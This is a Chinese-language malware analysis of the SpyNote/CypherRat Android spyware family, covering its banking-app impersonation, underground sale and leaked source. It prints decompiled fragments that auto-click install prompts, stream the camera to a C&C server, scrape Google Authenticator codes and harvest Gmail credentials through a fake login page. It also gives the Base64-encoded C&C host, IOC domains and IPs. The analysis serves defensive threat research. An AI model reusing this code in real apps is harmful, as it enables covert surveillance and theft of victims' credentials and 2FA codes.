Android 间谍软件是最常见的恶意软件之一,攻击者通过 Android 间谍软件来跟踪用户位置、检查 Web 浏览记录,甚至窃取敏感信息(密码和信用卡号等),其对银行机构与客户构成的威胁与 Android 银行木马相媲美。间谍软件还可以利用合法 API 与权限来记录电话呼叫记录、远程管理设备、拦截短信或执行其他任务。
在 2022 年最后一季度,研究人员发现 SpyNote 恶意软件家族的样本数量大幅增加。该家族也被称为 SpyMax,旨在秘密记录安卓设备上的用户活动。
虚假应用程序
SpyNote 有几个不同的变种,最新的 SpyNote.C 成为了主流的变种。首先发现的变种 SpyNote.A 和 SpyNote.B 与最新变种 SpyNote.C 的主要区别就是活动目标,SpyNote.C 变种冒充汇丰银行、德意志银行、Kotak 银行、BurlaNu 银行等众多知名金融机构,以及 WhatsApp、Facebook 和 Google Play 等知名应用程序。
同类应用程序
部分 SpyNote.C 应用程序是单独开发的,并被宣传为 CypherRat。这些应用程序会冒充系统通知、Google Play 商店。上面都是共享 C&C 服务器的应用程序。
地下销售
该恶意软件家族的最新变种 SpyNote.C 在 Telegram 进行出售,且名为 CypherRat。攻击者利用 Sellix 支付系统出售 CypherRat,该系统使用加密货币进行交易来防止跟踪。从 2021 年 8 月到 2022 年 10 月间,CypherRat 累积了 80 多个不同的客户。
源码释放
2022 年 10 月,CypherRat 的源代码通过 GitHub 开源。此前地下论坛也发生过诈骗事件,攻击者冒充 CypherRat 开发者从其他犯罪分子那里窃取资金。
数量增长
源码公开后,相关样本数量显著增加。仅从 2022 年 10 月开始,研究人员就收集了超过 1100 个 SpyNote/CypherRat 样本文件,已经超过 2020 年以来的所有样本。
SpyNote.C 恶意软件变种执行的独特功能,在 2022 年具有远控功能更的恶意软件中被识别出来。除了更新其版本甚至安装新应用程序之外,SpyNote 变种还申请其他权限跟踪短信、电话、视频和录音。
请求权限
SpyNote 的最新版本不仅非常强大,而且还包括各种保护功能,从简单的字符串混淆到使用商业加壳程序。
恶意软件功能
SpyNote 的一些典型功能如下所示:
调用摄像头录制视频并回传
获取 GPS 与网络位置跟踪信息
窃取社交媒体凭据(Facebook、Google)
使用辅助功能从 Google Authenticator 中提取代码
通过键盘记录功能窃取银行凭据
SpyNote 使用辅助功能服务让用户难以卸载应用程序、安装新版本和安装其他应用程序。借助无障碍服务,无需任何用户输入,SpyNote 就可以点击“安装”和“更新”按钮:
if("android.widget.Button".equals(accessibilityNodeInfo0.getClassName())) {
String s = accessibilityNodeInfo0.getText().toString();
if(!TextUtils.isEmpty(s) && (("安装".equals(s)) || ("install".equals(s.toLowerCase())) || ("done".equals(s.toLowerCase())) || ("完成".equals(s)) || ("\u062A\u062B\u0628\u064A\u062A".equals(s)) || ("确定".equals(s)))) {
accessibilityNodeInfo0.performAction(16);
return true;
}
}
恶意软件通过摄像头录制视频并回传到 C&C 服务器,攻击者可以通过摄像头监视用户。
camera_stream.camera = Camera.open(Integer.valueOf(this.vul[0]).intValue());
...
InetSocketAddress inetSocketAddress0 = new InetSocketAddress(InetAddress.getByName(addr), v);
camera_stream.socket.connect(inetSocketAddress0, 60000);
...
Camera.Parameters params = camera_stream.camera.getParameters();
camera_stream.camera.startPreview();
SpyNote 利用辅助功能来获取双因子验证(2FA)代码,利用 Google Authenticator 应用程序的辅助功能,SpyNote 能够绕过这些安全措施并在用户不知情的情况下获得对帐户的访问权限。
packagename = "com.google.android.apps.authenticator2"
Iterator iterator0 = utils.findNodeWithClass(accessibilityEvent0.getSource(), "android.view.ViewGroup").iterator();
AccessibilityNodeInfo accessibilityNodeInfo1 = accessibilityNodeInfo0.getChild(v);
s1 = s1 + accessibilityNodeInfo1.getText().toString() + "-";
arr_s = s1.split("-");
...
shared.log(utils.ssss, "Google Authenticator<" + arr_s[v] + "<" + arr_s[v + 1].getBytes());
通过启动具有自定义布局的网页来欺骗用户在登录过程中输入他们的私人登录信息,类似传统的覆盖攻击用于向受害者显示虚假登录银行申请页面。
收到攻击者的命令后,攻击者的 C&C 服务器会收到从网页获取的凭据和信息。
social_creds.this.setContentView(0x7F070001); // layout:glogin
social_creds.this.findViewById(0x7F050031).setOnClickListener(singimallisten); // id:sinbtn
social_creds.this.findViewById(0x7F050023).setOnClickListener(lrnmor); // id:lrnmor
social_creds.this.findViewById(0x7F050016).setOnClickListener(Recovergmal); // id:gmailforgtpass
// callback to extract user and password
this.singimallisten = new View.OnClickListener() {
public void onClick(View view0) {
String usrgmail = (social_creds.this.findViewById(0x7F050043)).getText().toString(); // id:usrgmail
String passgmal = (social_creds.this.findViewById(0x7F05002C)).getText().toString(); // id:passgmal
if(usrgmail.length() <= 3) {
cmd_receiver.showToast("Please Check Your Email/Password.");
return;
}
if(passgmal.length() < 8) {
cmd_receiver.showToast("Password Must At least 8 characters.");
return;
}
shared.log(ddddd.ssss, "Gmail<" + s + "<" + s1.getBytes());
social_creds.this.done = true;
social_creds.this.finish();
}
};
获取的敏感信息随后通过辅助功能服务接收来自攻击者的命令,然后传输到应用程序中硬编码的 C&C 服务器,并使用 Base64 编码以使其更加隐蔽。
static {
AccessibilityService.key = const.encryp("bW1tbTE="); // mmmm1
AccessibilityService.c = "K";
AccessibilityService.d = "dGV4dA=="; // text
AccessibilityService.e = "ZGV2ZWxvcA=="; // develop
AccessibilityService.host = "YWRuYW5rYXJhMS5kZG5zLm5ldA=="; // adnankara1.ddns.net
AccessibilityService.port = "Nzc3MQ=="; // 7771
}
SpyNote 还通过滥用合法 API 实现在其他间谍软件中观察到的常见功能,例如通过 GPS 和网络跟踪用户失陷设备的位置。同样的,也通过滥用 MediaProjection 来捕获屏幕内容。这些不一定与银行欺诈有关,但确实为犯罪分子提供了更多关于受害者的信息。
SpyNote 将继续使用 Accessibility Service 从用户设备收集基本数据,并且能够朝着更便利分发的方向发展。随着源代码的发布,SpyNote 的不同变种很可能会继续出现。
6f606bc5004af2b90b66d6e6e4f29f35a3b4a31dc6974b55434b3c53d70584a4
114fa822d7a96169c9cd48303f7fbd1af94f57cb46fec576d91ccea11bc5d974
34d70ce1e9eeafdc225abbfa84c24454986a47ca7a41431c38ca16e612d3f818
bd172dbb47a95e7abc3ce76118bf6cd3f742d7c932ec8801cd553509f31eca8e
2e1c68c3e785679c04d915eb2f960ef5e7ef3294a423e1835aa06e0254812c7a
4779c469c50d157d2140d39fc9b034c931b5224e886bcb60024687fe4022063e
a2a95cfccb8fbe557f605b8a47dad901d3a25f8cdae7f0beee133f60b924c45a
bade089b4dfdea057132551deb997ba8a25c4d1ced32f78975239c73241181f4
bf4e003360cb2024dfaa46a79bf05f667d300f2bcd0765b9a12500201b9519a7
bizebiz.myftp.org
adnankara1.ddns.net
silent911-44688.portmap.io
154.211.96.78
159.203.126.35